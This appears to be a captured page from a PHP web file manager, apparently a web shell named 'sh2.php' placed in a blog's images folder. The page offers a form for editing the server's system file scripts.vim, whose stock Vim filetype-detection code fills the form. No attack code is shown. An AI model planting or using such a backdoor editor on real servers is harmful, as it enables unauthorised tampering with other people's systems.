<h2>Edit File - scripts.vim</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/share/vim/vim80/scripts.vim">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&quot; Vim support file to detect file types in scripts
&quot;
&quot; Maintainer:	Bram Moolenaar &lt;Bram@vim.org&gt;
&quot; Last change:	2018 Feb 03

&quot; This file is called by an autocommand for every file that has just been
&quot; loaded into a buffer.  It checks if the type of file can be recognized by
&quot; the file contents.  The autocommand is in $VIMRUNTIME/filetype.vim.
&quot;
&quot; Note that the pattern matches are done with =~# to avoid the value of the
&quot; &#039;ignorecase&#039; option making a difference.  Where case is to be ignored use
&quot; =~? instead.  Do not use =~ anywhere.


&quot; Only do the rest when the FileType autocommand has not been triggered yet.
if did_filetype()
  finish
endif

&quot; Load the user defined scripts file first
&quot; Only do this when the FileType autocommand has not been triggered yet
if exists(&quot;myscriptsfile&quot;) &amp;&amp; filereadable(expand(myscriptsfile))
  execute &quot;source &quot; . myscriptsfile
  if did_filetype()
    finish
  endif
endif

&quot; Line continuation is used here, remove &#039;C&#039; from &#039;cpoptions&#039;
let s:cpo_save = &amp;cpo
set cpo&amp;vim

let s:line1 = getline(1)

if s:line1 =~# &quot;^#!&quot;
  &quot; A script that starts with &quot;#!&quot;.

  &quot; Check for a line like &quot;#!/usr/bin/env VAR=val bash&quot;.  Turn it into
  &quot; &quot;#!/usr/bin/bash&quot; to make matching easier.
  if s:line1 =~# &#039;^#!\s*\S*\&lt;env\s&#039;
    let s:line1 = substitute(s:line1, &#039;\S\+=\S\+&#039;, &#039;&#039;, &#039;g&#039;)
    let s:line1 = substitute(s:line1, &#039;\&lt;env\s\+&#039;, &#039;&#039;, &#039;&#039;)
  endif

  &quot; Get the program name.
  &quot; Only accept spaces in PC style paths: &quot;#!c:/program files/perl [args]&quot;.
  &quot; If the word env is used, use the first word after the space:
  &quot; &quot;#!/usr/bin/env perl [path/args]&quot;
  &quot; If there is no path use the first word: &quot;#!perl [path/args]&quot;.
  &quot; Otherwise get the last word after a slash: &quot;#!/usr/bin/perl [path/args]&quot;.
  if s:line1 =~# &#039;^#!\s*\a:[/\\]&#039;
    let s:name = substitute(s:line1, &#039;^#!.*[/\\]\(\i\+\).*&#039;, &#039;\1&#039;, &#039;&#039;)
  elseif s:line1 =~# &#039;^#!.*\&lt;env\&gt;&#039;
    let s:name = substitute(s:line1, &#039;^#!.*\&lt;env\&gt;\s\+\(\i\+\).*&#039;, &#039;\1&#039;, &#039;&#039;)
  elseif s:line1 =~# &#039;^#!\s*[^/\\ ]*\&gt;\([^/\\]\|$\)&#039;
    let s:name = substitute(s:line1, &#039;^#!\s*\([^/\\ ]*\&gt;\).*&#039;, &#039;\1&#039;, &#039;&#039;)
  else
    let s:name = substitute(s:line1, &#039;^#!\s*\S*[/\\]\(\i\+\).*&#039;, &#039;\1&#039;, &#039;&#039;)
  endif

  &quot; tcl scripts may have #!/bin/sh in the first line and &quot;exec wish&quot; in the
  &quot; third line.  Suggested by Steven Atkinson.
  if getline(3) =~# &#039;^exec wish&#039;
    let s:name = &#039;wish&#039;
  endif

  &quot; Bourne-like shell scripts: bash bash2 ksh ksh93 sh
  if s:name =~# &#039;^\(bash\d*\|\|ksh\d*\|sh\)\&gt;&#039;
    call dist#ft#SetFileTypeSH(s:line1)	&quot; defined in filetype.vim

    &quot; csh scripts
  elseif s:name =~# &#039;^csh\&gt;&#039;
    if exists(&quot;g:filetype_csh&quot;)
      call dist#ft#SetFileTypeShell(g:filetype_csh)
    else
      call dist#ft#SetFileTypeShell(&quot;csh&quot;)
    endif

    &quot; tcsh scripts
  elseif s:name =~# &#039;^tcsh\&gt;&#039;
    call dist#ft#SetFileTypeShell(&quot;tcsh&quot;)

    &quot; Z shell scripts
  elseif s:name =~# &#039;^zsh\&gt;&#039;
    set ft=zsh

    &quot; TCL scripts
  elseif s:name =~# &#039;^\(tclsh\|wish\|expectk\|itclsh\|itkwish\)\&gt;&#039;
    set ft=tcl

    &quot; Expect scripts
  elseif s:name =~# &#039;^expect\&gt;&#039;
    set ft=expect

    &quot; Gnuplot scripts
  elseif s:name =~# &#039;^gnuplot\&gt;&#039;
    set ft=gnuplot

    &quot; Makefiles
  elseif s:name =~# &#039;make\&gt;&#039;
    set ft=make

    &quot; Pike
  elseif s:name =~# &#039;^pike\%(\&gt;\|[0-9]\)&#039;
    set ft=pike

    &quot; Lua
  elseif s:name =~# &#039;lua&#039;
    set ft=lua

    &quot; Perl 6
  elseif s:name =~# &#039;perl6&#039;
    set ft=perl6

    &quot; Perl
  elseif s:name =~# &#039;perl&#039;
    set ft=perl

    &quot; PHP
  elseif s:name =~# &#039;php&#039;
    set ft=php

    &quot; Python
  elseif s:name =~# &#039;python&#039;
    set ft=python

    &quot; Groovy
  elseif s:name =~# &#039;^groovy\&gt;&#039;
    set ft=groovy

    &quot; Ruby
  elseif s:name =~# &#039;ruby&#039;
    set ft=ruby

    &quot; JavaScript
  elseif s:name =~# &#039;node\(js\)\=\&gt;\|js\&gt;&#039; || s:name =~# &#039;rhino\&gt;&#039;
    set ft=javascript

    &quot; BC calculator
  elseif s:name =~# &#039;^bc\&gt;&#039;
    set ft=bc

    &quot; sed
  elseif s:name =~# &#039;sed\&gt;&#039;
    set ft=sed

    &quot; OCaml-scripts
  elseif s:name =~# &#039;ocaml&#039;
    set ft=ocaml

    &quot; Awk scripts
  elseif s:name =~# &#039;awk\&gt;&#039;
    set ft=awk

    &quot; Website MetaLanguage
  elseif s:name =~# &#039;wml&#039;
    set ft=wml

    &quot; Scheme scripts
  elseif s:name =~# &#039;scheme&#039;
    set ft=scheme

    &quot; CFEngine scripts
  elseif s:name =~# &#039;cfengine&#039;
    set ft=cfengine

    &quot; Erlang scripts
  elseif s:name =~# &#039;escript&#039;
    set ft=erlang

    &quot; Haskell
  elseif s:name =~# &#039;haskell&#039;
    set ft=haskell

    &quot; Scala
  elseif s:name =~# &#039;scala\&gt;&#039;
    set ft=scala

    &quot; Clojure
  elseif s:name =~# &#039;clojure&#039;
    set ft=clojure

  endif
  unlet s:name

else
  &quot; File does not start with &quot;#!&quot;.

  let s:line2 = getline(2)
  let s:line3 = getline(3)
  let s:line4 = getline(4)
  let s:line5 = getline(5)

  &quot; Bourne-like shell scripts: sh ksh bash bash2
  if s:line1 =~# &#039;^:$&#039;
    call dist#ft#SetFileTypeSH(s:line1)	&quot; defined in filetype.vim

    &quot; Z shell scripts
  elseif s:line1 =~# &#039;^#compdef\&gt;&#039; || s:line1 =~# &#039;^#autoload\&gt;&#039; ||
        \ &quot;\n&quot;.s:line1.&quot;\n&quot;.s:line2.&quot;\n&quot;.s:line3.&quot;\n&quot;.s:line4.&quot;\n&quot;.s:line5 =~# &#039;\n\s*emulate\s\+\%(-[LR]\s\+\)\=[ckz]\=sh\&gt;&#039;
    set ft=zsh

  &quot; ELM Mail files
  elseif s:line1 =~# &#039;^From \([a-zA-Z][a-zA-Z_0-9\.=-]*\(@[^ ]*\)\=\|-\) .* \(19\|20\)\d\d$&#039;
    set ft=mail

    &quot; Mason
  elseif s:line1 =~# &#039;^&lt;[%&amp;].*&gt;&#039;
    set ft=mason

    &quot; Vim scripts (must have &#039;&quot; vim&#039; as the first line to trigger this)
  elseif s:line1 =~# &#039;^&quot; *[vV]im$&#039;
    set ft=vim

    &quot; MOO
  elseif s:line1 =~# &#039;^\*\* LambdaMOO Database, Format Version \%([1-3]\&gt;\)\@!\d\+ \*\*$&#039;
    set ft=moo

    &quot; Diff file:
    &quot; - &quot;diff&quot; in first line (context diff)
    &quot; - &quot;Only in &quot; in first line
    &quot; - &quot;--- &quot; in first line and &quot;+++ &quot; in second line (unified diff).
    &quot; - &quot;*** &quot; in first line and &quot;--- &quot; in second line (context diff).
    &quot; - &quot;# It was generated by makepatch &quot; in the second line (makepatch diff).
    &quot; - &quot;Index: &lt;filename&gt;&quot; in the first line (CVS file)
    &quot; - &quot;=== &quot;, line of &quot;=&quot;, &quot;---&quot;, &quot;+++ &quot; (SVK diff)
    &quot; - &quot;=== &quot;, &quot;--- &quot;, &quot;+++ &quot; (bzr diff, common case)
    &quot; - &quot;=== (removed|added|renamed|modified)&quot; (bzr diff, alternative)
    &quot; - &quot;# HG changeset patch&quot; in first line (Mercurial export format)
  elseif s:line1 =~# &#039;^\(diff\&gt;\|Only in \|\d\+\(,\d\+\)\=[cda]\d\+\&gt;\|# It was generated by makepatch \|Index:\s\+\f\+\r\=$\|===== \f\+ \d\+\.\d\+ vs edited\|==== //\f\+#\d\+\|# HG changeset patch\)&#039;
	\ || (s:line1 =~# &#039;^--- &#039; &amp;&amp; s:line2 =~# &#039;^+++ &#039;)
	\ || (s:line1 =~# &#039;^\* looking for &#039; &amp;&amp; s:line2 =~# &#039;^\* comparing to &#039;)
	\ || (s:line1 =~# &#039;^\*\*\* &#039; &amp;&amp; s:line2 =~# &#039;^--- &#039;)
	\ || (s:line1 =~# &#039;^=== &#039; &amp;&amp; ((s:line2 =~# &#039;^=\{66\}&#039; &amp;&amp; s:line3 =~# &#039;^--- &#039; &amp;&amp; s:line4 =~# &#039;^+++&#039;) || (s:line2 =~# &#039;^--- &#039; &amp;&amp; s:line3 =~# &#039;^+++ &#039;)))
	\ || (s:line1 =~# &#039;^=== \(removed\|added\|renamed\|modified\)&#039;)
    set ft=diff

    &quot; PostScript Files (must have %!PS as the first line, like a2ps output)
  elseif s:line1 =~# &#039;^%![ \t]*PS&#039;
    set ft=postscr

    &quot; M4 scripts: Guess there is a line that starts with &quot;dnl&quot;.
  elseif s:line1 =~# &#039;^\s*dnl\&gt;&#039;
	\ || s:line2 =~# &#039;^\s*dnl\&gt;&#039;
	\ || s:line3 =~# &#039;^\s*dnl\&gt;&#039;
	\ || s:line4 =~# &#039;^\s*dnl\&gt;&#039;
	\ || s:line5 =~# &#039;^\s*dnl\&gt;&#039;
    set ft=m4

    &quot; AmigaDos scripts
  elseif $TERM == &quot;amiga&quot;
	\ &amp;&amp; (s:line1 =~# &quot;^;&quot; || s:line1 =~? &#039;^\.bra&#039;)
    set ft=amiga

    &quot; SiCAD scripts (must have procn or procd as the first line to trigger this)
  elseif s:line1 =~? &#039;^ *proc[nd] *$&#039;
    set ft=sicad

    &quot; Purify log files start with &quot;****  Purify&quot;
  elseif s:line1 =~# &#039;^\*\*\*\*  Purify&#039;
    set ft=purifylog

    &quot; XML
  elseif s:line1 =~# &#039;&lt;?\s*xml.*?&gt;&#039;
    set ft=xml

    &quot; XHTML (e.g.: PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;)
  elseif s:line1 =~# &#039;\&lt;DTD\s\+XHTML\s&#039;
    set ft=xhtml

    &quot; HTML (e.g.: &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;)
    &quot; Avoid &quot;doctype html&quot;, used by slim.
  elseif s:line1 =~? &#039;&lt;!DOCTYPE\s\+html\&gt;&#039;
    set ft=html

    &quot; PDF
  elseif s:line1 =~# &#039;^%PDF-&#039;
    set ft=pdf

    &quot; XXD output
  elseif s:line1 =~# &#039;^\x\{7}: \x\{2} \=\x\{2} \=\x\{2} \=\x\{2} &#039;
    set ft=xxd

    &quot; RCS/CVS log output
  elseif s:line1 =~# &#039;^RCS file:&#039; || s:line2 =~# &#039;^RCS file:&#039;
    set ft=rcslog

    &quot; CVS commit
  elseif s:line2 =~# &#039;^CVS:&#039; || getline(&quot;$&quot;) =~# &#039;^CVS: &#039;
    set ft=cvs

    &quot; Prescribe
  elseif s:line1 =~# &#039;^!R!&#039;
    set ft=prescribe

    &quot; Send-pr
  elseif s:line1 =~# &#039;^SEND-PR:&#039;
    set ft=sendpr

    &quot; SNNS files
  elseif s:line1 =~# &#039;^SNNS network definition file&#039;
    set ft=snnsnet
  elseif s:line1 =~# &#039;^SNNS pattern definition file&#039;
    set ft=snnspat
  elseif s:line1 =~# &#039;^SNNS result file&#039;
    set ft=snnsres

    &quot; Virata
  elseif s:line1 =~# &#039;^%.\{-}[Vv]irata&#039;
	\ || s:line2 =~# &#039;^%.\{-}[Vv]irata&#039;
	\ || s:line3 =~# &#039;^%.\{-}[Vv]irata&#039;
	\ || s:line4 =~# &#039;^%.\{-}[Vv]irata&#039;
	\ || s:line5 =~# &#039;^%.\{-}[Vv]irata&#039;
    set ft=virata

    &quot; Strace
  elseif s:line1 =~# &#039;[0-9:.]* *execve(&#039; || s:line1 =~# &#039;^__libc_start_main&#039;
    set ft=strace

    &quot; VSE JCL
  elseif s:line1 =~# &#039;^\* $$ JOB\&gt;&#039; || s:line1 =~# &#039;^// *JOB\&gt;&#039;
    set ft=vsejcl

    &quot; TAK and SINDA
  elseif s:line4 =~# &#039;K &amp; K  Associates&#039; || s:line2 =~# &#039;TAK 2000&#039;
    set ft=takout
  elseif s:line3 =~# &#039;S Y S T E M S   I M P R O V E D &#039;
    set ft=sindaout
  elseif getline(6) =~# &#039;Run Date: &#039;
    set ft=takcmp
  elseif getline(9) =~# &#039;Node    File  1&#039;
    set ft=sindacmp

    &quot; DNS zone files
  elseif s:line1.s:line2.s:line3.s:line4 =~# &#039;^; &lt;&lt;&gt;&gt; DiG [0-9.]\+.* &lt;&lt;&gt;&gt;\|$ORIGIN\|$TTL\|IN\s\+SOA&#039;
    set ft=bindzone

    &quot; BAAN
  elseif s:line1 =~# &#039;|\*\{1,80}&#039; &amp;&amp; s:line2 =~# &#039;VRC &#039;
	\ || s:line2 =~# &#039;|\*\{1,80}&#039; &amp;&amp; s:line3 =~# &#039;VRC &#039;
    set ft=baan

  &quot; Valgrind
  elseif s:line1 =~# &#039;^==\d\+== valgrind&#039; || s:line3 =~# &#039;^==\d\+== Using valgrind&#039;
    set ft=valgrind

  &quot; Go docs
  elseif s:line1 =~# &#039;^PACKAGE DOCUMENTATION$&#039;
    set ft=godoc

  &quot; Renderman Interface Bytestream
  elseif s:line1 =~# &#039;^##RenderMan&#039;
    set ft=rib

  &quot; Scheme scripts
  elseif s:line1 =~# &#039;exec\s\+\S*scheme&#039; || s:line2 =~# &#039;exec\s\+\S*scheme&#039;
    set ft=scheme

  &quot; Git output
  elseif s:line1 =~# &#039;^\(commit\|tree\|object\) \x\{40\}\&gt;\|^tag \S\+$&#039;
    set ft=git

   &quot; Gprof (gnu profiler)
   elseif s:line1 == &#039;Flat profile:&#039;
     \ &amp;&amp; s:line2 == &#039;&#039;
     \ &amp;&amp; s:line3 =~# &#039;^Each sample counts as .* seconds.$&#039;
     set ft=gprof

  &quot; Erlang terms
  &quot; (See also: http://www.gnu.org/software/emacs/manual/html_node/emacs/Choosing-Modes.html#Choosing-Modes)
  elseif s:line1 =~? &#039;-\*-.*erlang.*-\*-&#039;
    set ft=erlang

  &quot; CVS diff
  else
    let s:lnum = 1
    while getline(s:lnum) =~# &quot;^? &quot; &amp;&amp; s:lnum &lt; line(&quot;$&quot;)
      let s:lnum += 1
    endwhile
    if getline(s:lnum) =~# &#039;^Index:\s\+\f\+$&#039;
      set ft=diff

      &quot; locale input files: Formal Definitions of Cultural Conventions
      &quot; filename must be like en_US, fr_FR@euro or en_US.UTF-8
    elseif expand(&quot;%&quot;) =~# &#039;\a\a_\a\a\($\|[.@]\)\|i18n$\|POSIX$\|translit_&#039;
      let s:lnum = 1
      while s:lnum &lt; 100 &amp;&amp; s:lnum &lt; line(&quot;$&quot;)
	if getline(s:lnum) =~# &#039;^LC_\(IDENTIFICATION\|CTYPE\|COLLATE\|MONETARY\|NUMERIC\|TIME\|MESSAGES\|PAPER\|TELEPHONE\|MEASUREMENT\|NAME\|ADDRESS\)$&#039;
	  setf fdcc
	  break
	endif
	let s:lnum += 1
      endwhile
    endif
    unlet s:lnum

  endif

  unlet s:line2 s:line3 s:line4 s:line5

endif

&quot; Restore &#039;cpoptions&#039;
let &amp;cpo = s:cpo_save

unlet s:cpo_save s:line1
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>